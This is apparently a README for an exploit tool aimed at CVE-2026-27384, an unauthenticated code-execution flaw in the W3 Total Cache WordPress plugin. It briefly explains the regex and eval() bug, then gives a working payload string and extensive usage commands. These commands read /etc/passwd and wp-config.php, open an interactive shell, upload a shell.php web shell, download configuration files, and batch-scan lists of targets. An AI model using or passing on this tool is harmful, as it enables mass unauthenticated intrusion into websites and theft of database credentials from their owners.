
Automated scanner and exploit for CVE-2026-27384, an unauthenticated RCE in W3 Total Cache via mfunc/eval() injection. Features auto-detection, 48 payload variants, interactive shell, and batch scanning.
Plugin: W3 Total Cache Plugin Slug:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVulnerability Type: Unauthenticated Arbitrary Code Execution (Code Injection viaeval()) Affected Versions: <= 2.9.1 Patched Version: 2.9.2 Disclosure Date: February 24, 2026 Researcher: CODE WHITE GmbH
The Dynamic Fragment Caching feature (mfunc/mclude system) of the W3 Total Cache plugin
executes PHP code embedded in HTML comments via eval().
The W3TC_DYNAMIC_SECURITY token, which should protect this feature, can be bypassed due to
the combination of multiple code flaws.
Result: Arbitrary PHP code can be executed on the server without authentication, simply by submitting a WordPress comment.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| Type | Code Injection → RCE (CWE-94) |
| Affected Version | <= 2.9.1 |
| Patched Version | 2.9.2 |
| Authentication | Not required |
| User Interaction | Not required |
| Prerequisite | W3TC_DYNAMIC_SECURITY must contain regex metacharacters |
W3TC's Dynamic Fragment Caching feature allows developers to embed PHP code via special comment tags in the page HTML:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC processes these tags when serving the page from cache:
the embedded PHP is executed via eval(), and its output replaces the comment block.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY is inserted directly into regex
// preg_quote() MISSING → token acts as regex pattern
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
If the token is '.', the regex becomes <!--\s*mfunc\s*.(.*)--> →
any single character substitutes for the token.
\s* vs \s+ Mismatch| Function | Pattern | Behavior |
|---|---|---|
_parse_dynamic() — executes | mfunc\s*TOKEN | Accepts 0 spaces ✅ |
strip_dynamic_fragment_tags_from_string() — strips | mfunc\s+TOKEN | Requires at least 1 space ❌ |
Attacker payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
NO SPACE between mfunc and token
strip function: \s+ → no match → payload PERSISTS
execution regex: \s* → matches → eval() TRIGGERS
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Only defined() check — NO empty() or metacharacter validation
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — any character)
│
▼
Attacker submits comment:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Pattern: mfunc\s+[^\s]+ → requires \s+, no space → BYPASSED ✅
│
▼
Comment stored in database, page cached
│
▼
Second HTTP request → W3TC serves from cache
_has_dynamic() → mfunc\s*. → 'A' matches → returns true
│
▼
_parse_dynamic() → preg_replace_callback
Pattern: mfunc\s*. → 'A' matches
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Without authentication, arbitrary PHP code can be executed on the server with web server privileges:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Mode | Description |
|---|---|
auto | Scan site → find comment page → exploit (default) |
exploit | Direct exploit — with post URL |
shell | Interactive shell |
detect | W3TC detection only |
python w3tc_rce.py https://target.com
The scanner will:
# id command
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd id
# Read /etc/passwd
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /etc/passwd"
# Read wp-config.php
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Manual Post ID
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/hello-world/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://target.com \
--mode shell \
--post-url https://target.com/?p=1
When the shell opens, it automatically runs whoami, hostname, pwd, uname -a:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://target.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.target.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Commands: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://target.com --mode detect
[+] W3TC installed!
Version : 2.9.1
Cache : True
[!] Version 2.9.1 VULNERABLE (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o results.txt
python w3tc_rce.py https://target.com \
--mode exploit \
--post-url https://target.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v